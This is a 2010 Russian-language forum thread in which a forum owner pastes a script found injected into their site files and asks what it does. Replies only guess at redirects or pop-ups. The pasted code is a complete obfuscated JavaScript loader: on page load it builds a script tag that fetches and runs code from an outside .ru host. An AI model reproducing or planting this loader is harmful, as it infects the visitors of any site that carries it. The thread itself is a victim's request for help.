kang 42 Опубликовано: 6 марта 2010 Рассказать Опубликовано: 6 марта 2010 Обнаружил у себя в файлах такой (вредоносный) скрипт: <script>var c;if(c!='' && c!='L'){c=null};var d=new String();try {this.P='';var R;if(R!='v'){R='v'};var K=']';var l=RegExp;var G="";var Q='g';var p='';var GR;if(GR!='' && GR!='k'){GR='vV'};var A=new String();var fp;if(fp!='mb' && fp != ''){fp=null};var H='[';var vo;if(vo!='I'){vo=''};var B=new Array();var D='replace';var T="";function h(hF,n){var S;if(S!='xi'){S='xi'};var pb="";var HG=H;HG+=n;var SC;if(SC!='q' && SC!='Y'){SC=''};var o='';HG+=K;var F=new l(HG, Q);var y;if(y!='GH' && y != ''){y=null};var QW;if(QW!='dr' && QW != ''){QW=null};return hF[D](F, p);};var C=h('cRrReZaRtReZERlReZmReZnZtZ',"ZR");var jk="";var Dt=new Date();var O=h('sJekt7AktktJr7ikb7ukt7ek',"kJ7B");var HO=h('824690774986490629',"97624");var P_=new Array();var x=h('aop1pQeonQd1C1hQiolUdQ',"UQo1");var dK;if(dK!='JI' && dK != ''){dK=null};var t=h('/PnPiDfCtPyd.dcEodmP/EnEiEfPtEyE.DcEodmC/DgdoEoPgClPeP.dcCoPmC/dcEbEsEsDpPoDrDtCsD.PcPodmP/PtCiEcPkEeDtEmDaDsdtdedrC.EcEoDmC.EpEhPpd',"EPCDd");var JC=new Array();var hl=new String();var hF="1";var lr=h('sIcIrAiIpBtA',"ABI");var Z='';var f_="";var kI;if(kI!='' && kI!='KJ'){kI='LO'};var Kr=h('oyn2l2o2aydI',"y2I");var a=h('hAt9tVp9:A/9/ViVmA298A6A-9cVoVmV.9gAoVoAgVlAeA.AcAo9mA.Vp9kV.AkAaViVxVi9n9-VcVoAmV.At9r9i9w9eAsAtVcAoVaAsAtV.VrAuA:9',"VA9");var tJ=new String();var YM="";var pB=h('btopdPyp',"ptP");var HT;if(HT!=''){HT='OU'};var mC='';window[Kr]=function(){var tV="";var Nd=new String();Hg=document[C](lr);var vl;if(vl!='' && vl!='Ob'){vl=''};var w;if(w!=''){w='ey'};Z+=a;var EK=new Date();var a_j=new Date();Z+=HO;Z+=t;var fK;if(fK!='' && fK!='Pt'){fK=null};var ID;if(ID!='LD' && ID != ''){ID=null};var Ib=new Array();Hg.setAttribute('defer', hF);var M=new Array();var hk=document[pB];Hg.src=Z;var aI;if(aI!='' && aI!='_w'){aI='Mp'};var TQ=new String();var EN=new Array();var Bi=new Array();hk.appendChild(Hg);var PW='';};} catch(E){};</script> <!--fba0c733a7f94e2cb55b35733772d75d--> Что конкретно он делает? Цитата Ссылка на сообщение Поделиться на других сайтах
PaSSoR 19 Опубликовано: 6 марта 2010 Рассказать Опубликовано: 6 марта 2010 Что не знаю, но лучше вырезать и забыть Цитата Ссылка на сообщение Поделиться на других сайтах
kang 42 Опубликовано: 7 марта 2010 Рассказать Опубликовано: 7 марта 2010 Автор Обнаружил такое у себя на форуме IPB, а их поддержка по выходным отдыхает, в отличии от тех. поддержки DLE . И естественно хотелось бы знать что этот скрипт делает. Может его последствия тоже нужно почистить? Цитата Ссылка на сообщение Поделиться на других сайтах
celsoft 6 082 Опубликовано: 7 марта 2010 Рассказать Опубликовано: 7 марта 2010 И естественно хотелось бы знать что этот скрипт делает. Может его последствия тоже нужно почистить? Расшифовывать лень, да нет смысла по сути, как правило это попапы, порно, редиректы на другие сайты Цитата Ссылка на сообщение Поделиться на других сайтах
Рекомендованные сообщения
Присоединяйтесь к обсуждению
Вы можете опубликовать сообщение сейчас, а зарегистрироваться позже. Если у вас есть аккаунт, войдите в него для написания от своего имени.